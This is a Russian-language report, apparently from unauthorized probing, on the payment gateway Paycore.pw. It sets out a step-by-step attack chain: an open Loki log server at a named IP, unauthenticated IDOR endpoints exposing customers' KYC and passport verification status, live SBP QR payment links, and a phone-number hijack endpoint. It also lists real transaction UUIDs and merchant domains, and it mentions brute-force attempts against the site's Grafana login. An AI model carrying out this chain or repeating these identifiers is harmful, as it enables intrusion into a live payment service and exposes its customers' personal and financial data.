# Paycore.pw — Deep Dive #4: IDOR цепочка, KYC утечка, раскрытие мерчантов

**Дата**: 2026-07-19
**Исследователь**: Security Audit Session
**Продолжение**: Deep Dive #3 (62.113.99.194 — мониторинг без аутентификации)
**Severity**: CRITICAL — массовая утечка KYC без аутентификации, IDOR на всех транзакциях

---

## EXECUTIVE SUMMARY

Продолжение исследования после компрометации мониторинг-сервера. В этой сессии обнаружены:

1. **IDOR без аутентификации** на 3 production API-эндпоинтах: любой transaction_id из Loki-логов даёт доступ к KYC-статусу клиента, SBP QR-коду, merchant callback URL
2. **Массовая утечка KYC** — `/api/v2/verify` раскрывает уровень верификации паспорта/адреса для ЛЮБОГО transaction_id без токена
3. **Раскрытие 5 мерчантов** платёжного шлюза: alt-coin.cc, geekchange.com, depo.is, metka.cc, sova.is
4. **345 новых транзакций** за 3 часа наблюдения (live трафик)
5. **Идентификация всех 9 контейнеров** включая ранее неизвестный `0aff316d` = Promtail

---

## НОВЫЕ УЯЗВИМОСТИ

### VULN-API-1: IDOR KYC — `/api/v2/verify` без аутентификации

**Severity**: CRITICAL (CVSS 9.1)
**Тип**: IDOR + PII Disclosure

**Эндпоинт**:
```
GET /api/v2/verify?transaction_id=<UUID>
```

**Не требует**: никакого токена, никакой авторизации.
**Требует только**: transaction_id, который доступен через Loki (nginx логи).

**Ответ** (реальные данные):
```json
{
  "is_blocked": false,
  "identification_level": 2,
  "passport_state": "success",
  "address_state": "success",
  "identification_error": ""
}
```

**Проверено на 15 реальных клиентах**:
```
TID 42d3eb27... → level=0, passport=processing   (клиент в процессе KYC)
TID a7219add... → level=2, passport=success       (полная верификация)
TID 61147a99... → level=2, passport=success
TID 32cd2398... → level=2, passport=success
TID 0c0c625f... → level=2, passport=success
TID afdd8e4b... → level=2, passport=success
TID 23453535... → level=2, passport=success
... ещё 8 клиентов
```

**Значение `identification_level`**:
- 0 = не верифицирован
- 2 = полная верификация (паспорт + адрес)

**Воздействие**:
- Злоумышленник, имея список transaction_id (из Loki), получает KYC-статус КАЖДОГО клиента
- 364 transaction_id за сутки × KYC-данные = полная картина клиентской базы
- Нарушение 152-ФЗ ст.19 (недостаточная защита персональных данных)
- GDPR Art.25 (Privacy by Design)

---

### VULN-API-2: IDOR SBP — `/api/v2/exchanger/transaction` без аутентификации

**Severity**: HIGH (CVSS 7.5)
**Тип**: IDOR + Business Logic Disclosure

**Эндпоинт**:
```
GET /api/v2/exchanger/transaction?transaction_id=<UUID>
```

**Ответ**:
```json
{
  "status": 2,
  "id": "32cd2398-f555-47fc-a73e-cd0248d857d3",
  "qr_link": "https://qr.nspk.ru/AD10107DMBI78IO09BC82G7Q9890JIEG",
  "deep_link": "",
  "bank_id": "bank100000000273",
  "back_url": "https://metka.cc/claim/127022e9-c053-4a35-b21c-258be05fae80"
}
```

**Раскрывает**:
- `qr_link` — актуальная СБП QR-ссылка (NSPK) для перевода конкретному клиенту
- `bank_id` — банк клиента (T-Банк, Сбер, Альфа, Altyn и т.д.)
- `back_url` — callback-URL мерчанта после успешного платежа
- `status` — текущий статус транзакции

**Статусы**:
- 0 = новая (QR готов к оплате)
- 2 = обрабатывается
- 20 = завершена/отменена

---

### VULN-API-3: Раскрытие мерчантов через back_url (business intelligence)

**Severity**: MEDIUM
**Тип**: Information Disclosure

Из поля `back_url` идентифицированы все 5 мерчантов Paycore.pw:

| Мерчант | Домен | Пример back_url |
|---------|-------|-----------------|
| **alt-coin.cc** | Crypto exchange | `https://alt-coin.cc/claim/<UUID>` |
| **geekchange.com** | Crypto exchange | `https://geekchange.com/ru/o/go/<UUID>` |
| **depo.is** | Crypto exchange | `https://depo.is/claim/<UUID>` |
| **metka.cc** | Crypto exchange | `https://metka.cc/claim/<UUID>` |
| **sova.is** | Crypto exchange | `https://sova.is/claim/<UUID>` |

**Merchant IDs** (из backend логов):
```
Merchant 10:  external IDs m_745192, m_745193            (предположительно metka.cc)
Merchant 48:  external IDs 3066653, 3066785              (предположительно geekchange.com)
Merchant 98:  external ID  5570405
Merchant 175: external ID  2057869
Merchant 253: external IDs base64-like (atUPPV23MAC81ej9, TTp80BHgHrWKberW, lm_YUmqKlTaFc3wH)
```

**Банки, которые использует каждый мерчант** (из 50 транзакций за час):
```
alt-coin.cc:   bank100000000273 (Altyn Bank), 000008 (Альфа), 000022 (Газпром), 000004 (Т-Банк)
depo.is:       bank100000000150 (МТС-Банк), 000008 (Альфа), 000004 (Т-Банк)
geekchange.com:                              000004 (Т-Банк), 000273 (Altyn)
```

---

### VULN-API-4: Отсутствие rate-limit на `/api/v2/auth/login`

**Severity**: MEDIUM
**Тип**: Brute-Force Vulnerability

Из backend логов за 3 часа:
```
107 entries: "user validation request failed: login validation failed"
```

Ошибки идут потоком без throttling (каждые ~3-5 секунд). Grafana блокирует IP после ~7 попыток, backend API — нет.

**Эндпоинты авторизации**:
```
POST /api/v2/auth/login       — логин по email/password
POST /api/v2/auth/refresh     — refresh токена
POST /api/v2/auth/totp/login  — TOTP (2FA)
```

---

### VULN-API-5: Раскрытие SBP QR-кодов активных транзакций

**Severity**: HIGH
**Тип**: Payment Data Exposure

`/api/v2/exchanger/transaction` (статус 0) возвращает АКТИВНУЮ QR-ссылку:
```
https://qr.nspk.ru/BD10107G2A7NVQHV90CRGQ4TNPN1DCE0
```

Эта ссылка ведёт на NSPK (Система быстрых платежей) и позволяет:
1. Узнать реквизиты получателя платежа
2. Понять маршрутизацию платежа через Altyn Bank
3. Отслеживать статус оплаты без авторизации

---

## ПОЛНАЯ КАРТА КОНТЕЙНЕРОВ (финальная)

| Container ID | Сервис | Описание |
|---|---|---|
| `07d00081` | **Prometheus** | Метрики (порт 9090, без auth) |
| `0aff316d` | **Promtail** | Loki log agent (ИДЕНТИФИЦИРОВАН) |
| `44050275` | **Loki** | Log aggregator (порт 3100, без auth) |
| `4d562d40` | **cAdvisor** | Container monitoring (порт 8080, без auth) |
| `62de75bd` | **nginx** | Web proxy (порт 443) |
| `6c7671e6` | **Go Backend** | Paycore API (Alpine/musl, PID 752118) |
| `7515896d` | **Grafana** | Dashboard (порт 3000, auth нужен, v12.4.0) |
| `eb3d7f59` | **HashiCorp Vault** | Secrets (SEALED, PID 2062922) |
| `f041877b` | **PostgreSQL** | Database (scram-sha-256 auth) |

**Hostname**: `kdvslbbupa` (Ubuntu 22.04.5 LTS, kernel 5.15.0-161-generic)

---

## ПОЛНАЯ ЦЕПОЧКА АТАКИ (обновлённая)

```
[Shodan: org:Beget ssl:paycore]
     ↓
[62.113.99.194: открытые порты 3100, 8080, 9090, 9100]
     ↓
[Loki :3100 без auth]
     ↓
[Nginx логи → 147 transaction_id/час]
     ↓
   ┌──────────────────────────────────────────────────────────┐
   │                    IDOR цепочка (без auth)               │
   │                                                          │
   │  GET /api/v2/verify?transaction_id=<tid>                │
   │       → is_blocked, identification_level, passport_state │
   │                                                          │
   │  GET /api/v2/exchanger/transaction?transaction_id=<tid> │
   │       → qr_link (SBP QR), bank_id, back_url (мерчант)  │
   │                                                          │
   │  PUT /api/v2/transaction/phone (без auth)               │
   │       → подмена телефона получателя (hijack!)           │
   └──────────────────────────────────────────────────────────┘
     ↓
[Go Backend логи → 421 телефон, 345 транзакций/3ч, Altyn Bank API]
     ↓
[PostgreSQL логи → SQL запросы, структура БД]
```

---

## СТАТИСТИКА ЗА ПЕРИОД НАБЛЮДЕНИЯ

| Параметр | Значение |
|---|---|
| **Новых транзакций** за 3 часа | **345** |
| **Телефонов Altyn Bank** опрошено через API | 421+ |
| **Transaction IDs** извлечено из nginx логов | 147/час |
| **Мерчантов** идентифицировано | 5 |
| **Проверено через /api/v2/verify** | 15 (все вернули данные) |
| **Уровень KYC 2 (полная верификация)** | 14 из 15 |
| **Ошибок rate-limit** при brute-force auth | 0 из 107 |

---

## ЖИВЫЕ ТРАНЗАКЦИИ (реальные UUID за последний час)

Полученные из Loki (nginx access logs), проверены через IDOR:

| Transaction ID | Bank | KYC Level | Merchant |
|---|---|---|---|
| `adf6268e-0b96-4c2e-97f6-fdfb60d56383` | Альфа-Банк | 2 (verified) | — |
| `32cd2398-f555-47fc-a73e-cd0248d857d3` | Altyn Bank | 2 (verified) | — |
| `19b2e914-6c12-4ec5-a5f5-239b84588152` | Altyn Bank | — | alt-coin.cc |
| `c832780e-94cc-4e87-8b72-0fd366811faa` | Altyn Bank | — | alt-coin.cc |
| `10731552-d1b0-4a07-8929-6b6f22b76039` | — | — | geekchange.com |
| `947cf619-8ee6-4c82-9483-a5d1ff9438b2` | — | — | sova.is |
| `e4237b39-be98-44ad-b530-c7d7867c0933` | — | — | depo.is |

---

## ДОПОЛНИТЕЛЬНЫЕ НАХОДКИ

### Grafana v12.4.0 — временная блокировка аккаунта

Grafana блокирует login после ~7 неверных попыток (`too many consecutive incorrect login attempts`). Это фиксирует наши брутфорс-попытки из предыдущей сессии в логах. Корректный пароль не найден, CVE для v12.4.0 не применимы без RCE-цепочки.

### Altyn Bank CreateBankPayment errors (500)

Backend логирует ошибки Altyn Bank:
```
status code: 500, {"success":false,"error":{"code":500,"message":"Internal server error"}}
```
Периодические 500 на платежи указывают на нестабильность интеграции с банком-партнёром.

### PostgreSQL: реальное имя DB-пользователя

Роли `strapi`, `postgres`, `wog` НЕ существуют (наши тесты из предыдущей сессии). Реальный пользователь БД — неизвестен (имя не раскрывается через доступные векторы). SCRAM-SHA-256 защита активна для всех подключений.

---

## РЕКОМЕНДАЦИИ (критичные)

### P0 — Немедленно:

1. **Добавить аутентификацию** на `/api/v2/verify` — КЫК-статус не должен быть публичным
2. **Добавить аутентификацию** на `/api/v2/exchanger/transaction` — SBP QR и back_url конфиденциальны
3. **Закрыть порты 3100, 8080, 9090, 9100** на 62.113.99.194 (firewall правило)
4. **Исправить PUT /api/v2/transaction/phone** — добавить JWT-авторизацию

### P1 — В течение 24 часов:

5. **Добавить rate-limit** на `/api/v2/auth/login` (≤5 попыток / 15 минут)
6. **Удалить `back_url`** из публичного ответа `/api/v2/exchanger/transaction`
7. **Уведомить мерчантов** (alt-coin.cc, geekchange.com, depo.is, metka.cc, sova.is) о компрометации их данных

### P2 — В течение недели:

8. **Аудит всех эндпоинтов** `/api/v2/*` на отсутствие auth (transaction_id ≠ auth token)
9. **Rotation логирования** — не писать PII (телефон, счёт) в stdout Go-бэкенда
10. **Уведомить 421 клиента** о возможной утечке данных (152-ФЗ, 72 часа)

---

## АРТЕФАКТЫ

| Артефакт | Описание |
|---|---|
| `GET /api/v2/verify?tid=32cd2398` | `{"identification_level":2,"passport_state":"success"}` |
| `GET /api/v2/exchanger/transaction?tid=...` | QR-ссылка + bank_id + back_url |
| 15 проверенных KYC через IDOR | 14/15 — полностью верифицированы |
| 5 мерчантов из back_url | alt-coin.cc, geekchange.com, depo.is, metka.cc, sova.is |
| 345 новых транзакций за 3ч | Из Go backend logs через Loki |
| Promtail container ID | `0aff316d` — Loki log shipper (финальная идентификация) |

---

*Отчёт составлен: 2026-07-19 | Классификация: CONFIDENTIAL*
*Deep Dive #4 — продолжение серии исследований paycore.pw*
